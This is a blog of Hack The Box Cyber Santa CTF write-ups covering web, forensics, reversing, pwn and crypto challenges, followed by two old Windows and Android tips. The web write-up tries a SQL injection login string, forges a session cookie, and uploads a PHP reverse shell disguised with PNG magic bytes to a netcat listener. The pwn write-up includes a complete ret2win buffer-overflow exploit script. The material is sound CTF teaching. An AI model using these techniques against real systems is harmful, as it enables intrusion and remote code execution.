Saturday, December 4, 2021

Hack The Box Cyber Santa CTF - Web Day 4 - Elf Directory Writeup

 

Technique Used:  Bypassing file upload restrictions by changing the magic bytes on the header of a PHP file to make it look like a PNG image file.

Details:
The challenge starts off giving each person a personal Docker instance as a web server, and going to the http://IP:port brings us to a login portal.


Before messing with the site, I started a Nikto scan to get an initial information snapshot of the website:  nikto -h http://<ip_address>:<port>

Nothing interesting other than the web server being Nginx, and it running PHP 7.4.26.

Before even observing what the page had to offer, I immediately went for the easy SQL injection to log in:  ' or 1=1;--

As expected, it failed.  I always try it on all login portals because it takes half a second to figure out if it works or not.  Anyways, taking a second to look at the site, I noticed there is a link to create an account, and create I shall!  However, logging in wasn't too rewarding since there's nothing to look at but a profile page with no permissions to modify it with error message, "You don't have permission to edit your profile, contact the admin elf to approve your account!"  It's my profile!  I should be able to modify it, but no worries, we're hackers.  We can figure it out.



It seems our goal now is to escalate our privileges but to do what though?  Maybe there are more things we can do if we're allowed to edit our profile page?  I haven't looked at the source code yet, so let's take a gander.  Whoa!  What's this at the bottom of the source code!?

    <script>
        $('#upload').change(function(){
        let path = $(this).val().replace('C:\\fakepath\\', '');
        $('#selectFile').html(path);
        })
    </script>

I don't see any kind of upload functionality on the page.  One of the usual web escalation techniques is to mess around with our cookies, so let's take a look at that by pressing F12, and go to the Application->Cookies tab.  We see this Base64 cookie there:

PHPSESSID:  eyJ1c2VybmFtZSI6ImphbmtlciIsImFwcHJvdmVkIjpmYWxzZX0=

At the risk of seeing gibberish, let's decode this Base64 anyway in CyberChef:


It's actually interesting.  Not only is it not gibberish, but it has this field that says "false" on it (FYI, my username was "janker").  I changed it to "true", re-encoded it in base64, put it back into the cookies field on the website, and refreshed the page.


IT WORKED!  An upload portal appeared.  From my Nikto scan earlier, I remember the page is running PHP, so I downloaded the popular "php-reverse-shell.php" from Pentestmonkey's Github, modified the callback IP and port in the PHP file, started a reverse Netcat listener on my public Amazon Cloud instance of Ubuntu to catch the callback since I wasn't on the same network as the target

nc -lvp 1337

The uploaded epic failed so hard with:  Invalid image. Only PNG images are supported.


I proceeded to upload a legitimate PNG image of a Corgi dog to see how it reacts, and it actually changed my profile picture! 


I immediately searched "how to bypass file upload restrictions," and a bunch of links came up.  I went down the list, and tried a bunch of stuff starting with adding the "png" file extension to the end of my filename to "php-reverse-shell.php.png".  It didn't work.

After trying a variety of things like capturing the request in Burp Suite and adding things to the end of my filename like %00, %0a, etc.  I concluded that the filter is based on my actual file type based on the file header, instead of the filename or request name.

My favorite hex editor is HxD in Windows unfortunately, so I swapped OS's and edited the header of the "php-reverse-shell.php" file by inserting 19 copied bytes from the top of a real PNG:  

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 00 00 04

I then copied the file back over to my Kali VM, and ran a file on it to prove it looks like a PNG file now.  19 bytes was a random number of bytes I chose willy nilly.  I started by copying the exact number of PNG magic bytes, but for some reason, it didn't work.  When I ran the file command on it, Linux still saw it as the type "data".  However, when I added more bytes (19), it finally recognized it:

file reverse-php-shell.php
PNG image data, 1084 x 1064331376, 13-bit

I uploaded it with the original filename as "reverse-php-shell.php" with full expectations of failure; however, the page refreshed with no errors, and I actually got a shell in my listener!  I quickly cat'd out the flag file before they decide to change it or something! 

HTB{br4k3_au7hs_g3t_5h3lls}

It's always such a warm fuzzy when you see a shell.  It's even more euphoric to see that flag format that starts with "HTB{".  Until next time, keep hacking away!

Thursday, December 2, 2021

Hack The Box Cyber Santa CTF - Forensics Day 1 - Baby APT Writeup

 



Challenge File:  forensics_baby_apt.zip

This is a quick one flag!  The zip file contains a PCAP file called, "christmaswishlist.pcap", so naturally, I opened it in Wireshark:


I right-clicked any line and followed the TCP Stream, and clicked through each Stream Index to see if I can find anything interesting.  At stream 30, I saw a base64 encoded string:


Base64:  SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59

I decoded it on the command line to get the flag:  

echo SFRCezBrX24wd18zdjNyeTBuM19oNHNfdDBfZHIwcF8wZmZfdGgzaXJfbDN0dDNyc180dF90aDNfcDBzdF8wZmYxYzNfNGc0MW59 | base64 -d

HTB{0k_n0w_3v3ry0n3_h4s_t0_dr0p_0ff_th3ir_l3tt3rs_4t_th3_p0st_0ff1c3_4g41n}

I also found this base64 using "strings christmaswishlist.pcap".  Nice and easy!  This was a nice break from reverse engineering binaries.



Hack The Box Cyber Santa CTF - Reversing Day 1 - Infiltration Writeup

Challenge File:  rev_infiltration.zip

The zip contents contained a single binary file called "client".

The challenge also has a Docker instance that we need to connect to in order to receive the ciphertext to crack:  nc 159.65.20.193 31708

Each time we connect to the server, we receive a different glob of gibberish like this:  

When you run the "client" binary, it spits out the usage syntax:

./client [server] [port]

Putting two and two together, we ran the binary against the target server:

./client 159.65.20.193 31708

[!] Untrusted Client Location - Enabling Opaque Mode

It gives a weird "Untrusted Client" message, then exits.  Well that doesn't help us at all, but what we've hypothesized is the ciphertext should be ingested and deciphered by the binary in some way.  Time to load up GDB and IDA to observe what's happening!  First let's run a "file" on the binary:

file client
client: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=bcb9d17215725749cf2ce0ee9ef5df3c98ba8f00, for GNU/Linux 4.4.0, stripped

It's 64-bit and OF COURSE IT'S STRIPPED!  CTF's will do anything to make sure you take longer than you should.  This means we need to manually look at addresses since the function names aren't clear.  I also looked at it with checksec to see if PIE is enabled since we're going deep with this:

checksec client
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

OF COURSE PIE IS ENABLED!!!  This means all addresses observed in debugging needs to take the dynamic running binary base address into consideration and adding the tiny offsets from IDA into GDB when setting breakpoints or disassembling functions.

I opened the binary in both Ghidra and IDA, and the decompilation code looks clearer in IDA.  A lot of the function names are missing in Ghidra.  First I loaded up GDB (I'm using the GEF plugin) and ran it once till completion so it can load the dynamic binary instruction addresses into memory:

gdb ./client

gef➤  run

gef➤  info file

We see the binary addresses in the "5's", more importantly, here's the instruction addresses:
        Before running once:          0x00000000000010d0 - 0x00000000000017d5 is .text
        After running once:             0x00005555555550d0 - 0x00005555555557d5 is .text

Let's figure out what address offsets we want to use to disassemble and set breakpoints at since we don't know function names with the binary being stripped and PIE enabled.  It's time analyze IDA's assembly and decompiled code with <F5>.  Starting at the main() function, I notice after some error checking to make sure we've connected to an IP and Port correctly, it calls this function that I renamed to "goes_to_funcs()" because this function calls other potentially useful functions:

       else                                    // connect() success
        {
          socket_file_descriptor_num = (const char *)ret;
          ret = 0;
          goes_to_funcs((int)socket_file_descriptor_num);
         }

In this "goes_to_funcs" function, I see it calls two other functions, in which I called one of them "contents()" because there's a lot of math stuff happens in it, and another "flag_here()" because that's where the "[!] Untrusted Client Location - Enabling Opaque Mode" message is being printed out with some compare statements in it.  So, I was fairly confident something important is happening here for us to find the flag.

char *goes_to_funcs(int file_descriptor) 

{

  char *result;

  result = (char *)content_here(file_descriptor);

  if ( !(_DWORD)result )

    return flag_here(file_descriptor);

  return result;

}

 Following the train of thought, here are the relevant parts of the "flag_here()" function:

char *__fastcall flag_here(int num_recvd) 

{

  char *result; // rax

  _BYTE buffer_got[1032]; // [rsp+0h] [rbp-418h] BYREF

  unsigned __int64 canary; // [rsp+408h] [rbp-10h]

  canary = __readfsqword(40u);

  recv(num_recvd, buffer_got, 1024uLL, 0);

  puts("[!] Untrusted Client Location - Enabling Opaque Mode");

  result = (char *)(canary - __readfsqword(40u));

  if ( result && (int)buffer_got > 1 )

  return result;

}

The bold piece of code I highlighted seems to be a good spot to put a breakpoint since the next line takes the "result" variable and does some kind of comparison.  Inside that if statement, it does a bunch of math, then returns the "result" variable, so I figure it's important.  When looking for flags in ciphertext, any kind of compare statement is a good sign because the flag could be in memory for comparison.

Now, back to figuring out what address to set the breakpoint at in GDB.  IDA shows that line of code to be at offset 0x132D:

The majority of the beginning of binary hex addresses stay the same.  Only the last 3 characters of the hex binary address changes with the offsets for each line of assembly code.  Applying this knowledge, above, we saw the .text address starts at 0x00005555555550d0.  Changing the last 3 letters to the last 3 letters of the offset 0x132d, it becomes:

Before:  0x00005555555550d0

After:    0x000055555555532d

In GDB, we set a breakpoint at that address, and run with the IP and Port from the server:

gef➤  break *0x000055555555532d 

gef➤  run 159.65.20.193 31708 

The program runs, then breaks at the breakpoint.  WHAT'S THIS!?  Do I spy a piece of the flag format!?


I'm surprised because I didn't expect to see the flag so soon.  I thought we had much more work to do.  That piece of the flag is in the RSP register, so let's print out the strings of RSP to see what other text is there:


HTB{n0t_qu1t3_s0_0p4qu3}

And there we have the flag!  Reverse engineering isn't so bad once you learn to navigate the crooks and crannies of addresses and offsets quicker.




 



Hack The Box Cyber Santa CTF - Pwn Day 1 - Mr Snowy Writeup

 Challenge File:  pwn_mr_snowy.zip

Exploitation Technique:  ret2win - Overwrite RIP in a 64-Bit binary to jump to a function that prints flag.txt.

Summary:  This is a beginner-intermediate level binary exploitation challenge where you overwrite the RIP address and have it jump to a function that opens the flag.txt file.

I categorize this as possible intermediate because it's a 64-bit Linux binary, and when I started with exploitation, 64-bit things tripped me up.  However, one can argue once you understand x64 exploitation, it's beginner level.  I'm more humble about how hard things can be because I remember how hard things were when I first started, so I always rate things harder than they actually are.  Anyways, let's get started!

Details:

The challenge zip contained two files:
  • flag.txt - Contained a fake flag:  HTB{f4k3_fl4g_4_t3st1ng}
  • mr_snowy - Challenge Binary
The first thing I always do is run "file" and "checksec" on the binary to get a snapshot of what we're dealing with:

file mr_snowy
mr_snowy: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=d6143c5f2214b3fe5c3569e23bd53666c7f7a366, not stripped

From this, we learn the binary is 64-bit, uses libraries like libc.so, and is not stripped, so we can easily debug or decompile and clearly see the function names.  So far so good.

checksec mr_snowy
    Arch:     amd64-64-little            # Arguments pulled from RDI, RSI, RDX, RCX
    RELRO:    Full RELRO            # Can't overwrite GOT addresses
    Stack:    No canary found         # Good
    NX:       NX enabled                # Can't inject shellcode
    PIE:      No PIE (0x400000)     # Hard coded addresses

From this, we learn we can't inject shellcode because the NX bit is enabled, so we'll find another method to get a shell.  "No PIE" is always a blessing because it means we can jump to any address in the binary using the addresses given in any debugging tool without needing to calculate the base address first.

Let's run the binary to see what it does.  Believe it or not, I always forget to run the binary until way later because I get lost in my initial analysis mental checklist:


The first thing to note is that the text prints to the screen VERY slowly, 8-bit RPG style, so later when we use Pwntools to read the input, we need to make sure we have our timeout settings higher.  We don't want our exploit code exiting too early because it was impatient.

First of all, option "2. Let it be" immediately exits, as well as option "2. Break it" in the next menu.  So, we need to focus on just pressing "1. Investigate" and "1. Deactivate".  By default, this also causes the program to immediately exit with "You do not know the password!"  It exits without giving us a chance to input a password!  Not fair!  Good thing we're hackers amrite!?  😂

Okay, let's dig in to understand how the binary works.  Our goal is to find any way we can type in lots of input to overflow a buffer (Buffer Overflow?  Get it!?)  Alrighty, next, I run the binary in GDB and print out it's functions with "info functions" and note potentially useful functions that's custom to this binary:

0x0000000000400acf  rainbow
0x0000000000400d3b  color
0x00000000004010ed  printstr
0x0000000000401165  deactivate_camera
0x0000000000401278  banner
0x0000000000401374  investigate
0x000000000040146a  snowman
0x00000000004014f1  setup
0x000000000040153e  main

I decompile the binary in Ghidra to understand these functions, keeping in mind to hunt for our buffer overflow input spot.  I always start with main() if one exists, and one does!

The main() is very plain and straight-forward.  I clicked through each function one at a time and discovered the snowman() function shows the first menu, and when we press "1. Investigate", it calls the investigate() function, and BAM!  Found our buffer overflow!  It prints the second menu, and when it asks for input of "1. Deactivate" or "2. Break it", it reads in a large 264 bytes in a tiny 64 byte buffer, which causes the overflow.  Here's the snippet of code in that function that illustrates this:

void investigate(void) {
    char local_48 [64];
    read(0, local_48, 264);
}

GOAL:  Fill the buffer with A's and try to get exactly 8 B's to show up in RIP as a placeholder.  

Side Note - We try to squeeze 8 B's because 64-bit systems use 8-byte addresses, each letter is a byte.  If this was a 32-bit binary, we'd squeeze 4 B's into EIP.  

We'll replace the B's with an address later to tell the code to jump somewhere else at the return of the investigate() function.  Since the buffer is 64 bytes, 8 bytes of RBP always goes after the buffer followed by 8 bytes of RIP, so basic math says:  

    64 Bytes + 8(RBP) + 8(RIP) = 
                        72(A's) + 8(RIP)

What this means is, we put 72 A's followed by 8 B's, in which the B's should end up in RIP (in which we'll illustrate with GDB).  Before we dive in, we need to remember to press "1. Investigate" to pass through the first menu, THEN we can inject our A's and B's payload.  First, we need to set a breakpoint at the "ret" at the end of the function taking our input, in this case, it's investigate().

In GDB, disassemble the investigate function like this to see all it's instructions and addresses, but note the "ret" address at the end:

(gdb) disassemble investigate
0x0000000000401469 <+245>:   ret    

Set a breakpoint at that address in GDB like this:

(gdb) break *0x0000000000401469

Alternatively, you could set the breakpoint using it's line number you see in it's instruction line:

(gdb) break *investigate+245

Now we can run the binary with our payload input and see if our B's end up in RIP.  In GDB, this is the way you feed Python output as input to a binary through STDIN:

(gdb) r <<< $(python -c 'print "1\n" + "A"*72 + "B"*8')

                    *Note the "1\n" to signify we inserted "1" then pressed <Enter>.
GDB runs, then breaks at "ret".  Type "info frame" to see if the B's showed up in "Saved RIP"


CHECK IT OUT!  Hex 0x42 stands for ASCII "B".  Saved RIP is where the program jumps to when it returns.  In 64-bit binaries, if you ran the program until it seg faults, you won't see the B's directly in the RIP register because 64-bit requires only real addresses in the RIP register.  You would only see the address of the last instruction (ret) before it seg faulted.  In 32-bit binaries, you would see "0x42424242" aka "BBBB" in EIP after seg faulting.

Anyways, now we have proof of concept that we can jump anywhere we want.  The question is, "Where do we want to go!?"

This reminded me the challenge zip came with a fake flag placeholder called "flag.txt", which means, they intend us to read that file somewhere.  So I went back to Ghidra and reviewed the decompiled code for all the C functions to look for "flag.txt" in the source, and found it in an uncalled function called "deactivate_camera()":

void deactivate(void) {
        local_38 = fopen("flag.txt","rb");
}

This function wasn't being called anywhere, but prints out the flag if we can get there!  The address was shown above when we did "info functions" in GDB.  We can also find the beginning address of that function in GDB with:

(gdb) disassemble deactivate_camera
   0x0000000000401165 <+0>:     push   rbp

However, we can't continue to use our one-liner in GDB since the address contains zeros or 0x00 null bytes, and the bash command line ignores the null bytes when it inputs it into the binary.  BUT!  Since this program uses read() to take in user input, the read() function in itself does NOT ignore the zeros if we gave it user input the proper way.  Therefore, we need to use Pwntools, which is more productive practice anyway since that's the bread and butter of more advanced binary exploitations.

This is not a Pwntools writeup, so I won't go into details (full exploit code in Appendix).  In our script, this is the payload:

deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()

Output:  It's our fake flag!!!
    [+] Here is the secret password to deactivate the camera: HTB{f4k3_fl4g_4_t3st1ng}

Trying again on the real target with Pwntools gives the REAL flag:


HTB{n1c3_try_3lv35_but_n0t_g00d_3n0ugh}

In CTF Pwn, these functions that print out the flag are called "flag functions" because it's like an auto-win.  Typical exploitations, we need to hack our way into a full shell, find and cat out the flag.  A "flag function" typically represents a "beginner friendly pwn challenge."

That's all folks!  Hope you learned something!

APPENDIX:

-----------------------------------------------------------------------------------------------------------
### <solution.py>
from pwn import *

#p = process("./mr_snowy")
p = remote('178.128.35.31', 30491)
#gdb.attach(p, '''
#break *0x4013bc
#c
#''')

print(p.recvuntil('> ', timeout=8))    # First menu
p.sendline('1') # Investigate

print(p.recvuntil('> ', timeout=8))    # Second menu
deactivate = 0x0000000000401165
payload = "A"*72 + p64(deactivate)
p.sendline(payload)
p.interactive()
p.close()
-----------------------------------------------------------------------------------------------------------



Hack The Box Cyber Santa CTF - Crypto Day 2 - XMAS Spirit Crypto Writeup


Challenge Files:  crypto_xmas_spirit.zip

Contained the following contents:
  • challenge.py
  • encrypted.bin
As expected, "encrypted.bin" contained 776,746 bytes worth of gibberish:


"challenge.py" contained the following code:

#!/usr/bin/python3

import random
from math import gcd

def encrypt(dt):
        mod = 256
        while True:
                a = random.randint(1,mod)
                if gcd(a, mod) == 1: break
        b = random.randint(1,mod)

        res = b''
        for byte in dt:
                enc = (a*byte + b) % mod
                res += bytes([enc])
        return res

dt = open('letter.pdf', 'rb').read()

res = encrypt(dt)

f = open('encrypted.bin', 'wb')
f.write(res)
f.close()

The first thing I noticed is that it opened a file called "letter.pdf", and I didn't see that in the challenge zip file.  Re-reading the challenge description, it says, "Santa has no idea about cryptography. Can you help him read the letter?"  Therefore, we need to decrypt the "encrypted.bin" into a "letter.pdf" file.  This script took in the original "letter.pdf" and encrypted it into "encrypted.bin", and now it's our job to reverse the process.

I started by trying to manually reverse the encrypt() function into a decrypt() function, but quickly got stuck trying to reverse the modulus on this line:  enc = (a*byte + b) % mod

After rigorous Googling on how to perform the inverse of a modulus operator, I took a break from that strategy after realizing how hard it is to do so, since reversing a "mod" operator yields many answers.  For example, since modulus captures the remainder of two numbers divided against each other, all odd numbers divided by 2 always has remainder 1.  So a zillion things can be the answer to "x % 2 = 1".

Changing gears, I spawned a "test.py" file to figure out how the encrypt() function works by observing how it handles simple input.  In my case, I fed it "AAAABBBB" with some debug print statements to see what the encrypted contents look like.


I ran it a few times and noticed the "a" and "b" values changed each time, but the "Byte" value stayed the same.  "Byte" is the variable representing each individual character from the input string, so that makes sense that it stayed static.  Since "a" and "b" changed each time, the math produced different encrypted strings each time as well.  I got curious if it would ever randomly produce the original input string if I ran it enough times.  Let's see why "a" and "b" keeps changing with each run:

mod = 256
a = random.randint(1,mod)
b = random.randint(1,mod)

So "a" and "b" is given a random number between 1 and 256 each run.  This means there is only a finite amount of ciphertext the encrypt() function can create; therefore, ONE of these random "a's" and ONE of these random "b's" combinations HAS to decrypt the message!  So for my small scale test, I did an infinite while loop that only stops if it finds the original input string of "AAAABBBB".  Essentially, my goal was to feed in "AAAABBBB" and obtain "AAAABBBB" as the "encrypted text" using the same challenge algorithm.  I also printed out which "a" and which "b" was responsible for this as well:

while True:
        encrypted, a, b = encrypt(message)
        if b"AAAABBBB" in encrypted:
                print("\nEncrypted Message: %s, a: %s, b: %s" % (encrypted, a, b))
                break

And I found it with "a = 1" and "b = 256", yielding this same output repeatedly:


Of course for the real thing, we wouldn't use a=1 and b=256 because that would just take in the original "encrypted.bin" and give us the same gibberish as output, but alas, we have proof of concept.  Now for the real thing, I modified the code to loop through 1-256 for "a" and 1-256 for "b" in a double for loop.  

Also, I only read in one line of gibberish from the "encrypted.bin" file because if I tried to decrypt all the data through my double for loop, it would take an eternity for a ~0.75MB text file.

More importantly, I opted to try decrypting only the first line from "encrypted.bin" because I assumed this would spit out a legitimate PDF file, and if so, the file header with the "PDF" magic number would appear if decrypted successfully.  As I decrypted each with a different "a" and "b" value, I wrote it to a file in the file name format, "output_a_b.pdf" where "a" and "b" is replaced with their current respective values in the for loop.  Here's my code to do so:

with open("encrypted.bin", "rb") as f:
        data = f.read()

for A in range(1, 256):0
        for B in range(1, 256):
                file = open("PDFs/output_%s_%s.pdf" % (A, B), "wb")
                #print(encrypt(data, A, B))
                file.write(encrypt(data, A, B))
                file.close()

2 Important things to note:  
  • When reading and writing binary data, you must read it in with "rb" and write it out with "wb" instead of just 'r' and 'w'.
  • Notice I commented out the print statement.  Here's why.  Brute forcing tactics take a long time, and printing debug messages to the screen makes it take HOURS longer, so I commented out that line after I had a warm fuzzy that my code worked properly.  
    • I created a password brute forcer in C some time ago and it took 18 hours to crack a five character password when I printed out "Password not found" over and over.
    • I commented out that line, and it took half a millisecond...
In another terminal on my Kali machine, I ran "file *.pdf | grep PDF" when it finished.  LO AND BEHOLD, ONE FILE HAS A PDF HEADER!


At this point, I could taste the flag in my mouth, AND I thought how ridiculous it would've been to try to reverse the modulus math.

I modified my code for the final time with "a=153" and "b=96" hardcoded in (it actually took a few tries with my typos because my hands were shaking from excitement).  I also changed "readline()" to "read()" since we want to process the entirety of "encrypted.bin" now.  Not required, but for satisfaction, I also made the output file "letter.pdf" as intended by the challenge story.

with open("encrypted.bin", "rb") as f:
        data = f.read()
file = open("letter.pdf", "wb")
file.write(encrypt(data, 153, 96))    # I changed the function to "def encrypt(dt, a, b)"
file.close()

And... VOILA!!!  The letter to Santa and the flag!  I've never seen something so exciting!


HTB{4ff1n3_c1ph3r_15_51mpl3_m47h5}
















Friday, February 20, 2015

How to Disable Windows 8.1 Update Notification

This is all you need to do, BLAM!
  1. Create this key: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsStore
  2. Create this String value inside WindowsStore:  DisableOSUpgrade (set its value to 1)
  3. Uninstall and hide it next time you see it in Windows Update:  KB2871389
  4. Make Windows ask you what updates you want to download and install
  • http://www.askvg.com/how-to-disable-update-to-windows-8-1-for-free-notification-in-windows-8-store/
  • http://www.eightforums.com/tutorials/37808-update-windows-8-1-store-prompt-enable-disable.html

Sunday, February 8, 2015

Android Studio ADB Doesn't Recognize Samsung Galaxy S5

Problem:  You're trying to test your awesome Android/Java code on a real live phone connected via USB, but Android Studio doesn't recognize your device no matter what you do.  Well, here is a checklist of items to make sure you have to ensure your device is recognized:

In Short:
  • Turn on Debugging Options and enable USB Debugging
  • Install Google USB Drivers from SDK Menu in Android Studio
  • Install "Samsung USB Driver for Mobile Phones"
  • Restart adb and check if your phone is in the list
  • Accept the RSA Fingerprint verification on phone
Details:
  • Connect your device via USB to your computer
  • Turn on Debugging options on your phone by tapping "Build Number" seven times in the "About Device" in your phone settings
  • Open the "Developer Options" in your phone settings and make sure "USB Debugging" is checked
  • Go to the "SDK Manager" of Android Studio and install "Google USB Driver"
  • Install "Samsung USB Driver for Mobile Phones" from Samsung:  http://developer.samsung.com/technical-doc/view.do?v=T000000117
  • Restart ADB and verify device from command line (I only typed adb devices):  
    • C:\Users\hans\AppData\Local\Android\sdk\platform-tools\adb kill-server
    • C:\Users\hans\AppData\Local\Android\sdk\platform-tools\adb start-server
    • C:\Users\hans\AppData\Local\Android\sdk\platform-tools\adb devices
  • Somewhere in this last step, your phone will prompt you for an "RSA Fingerprint" verification.  In this case, you accept.  If you see this, then you're GOLDEN!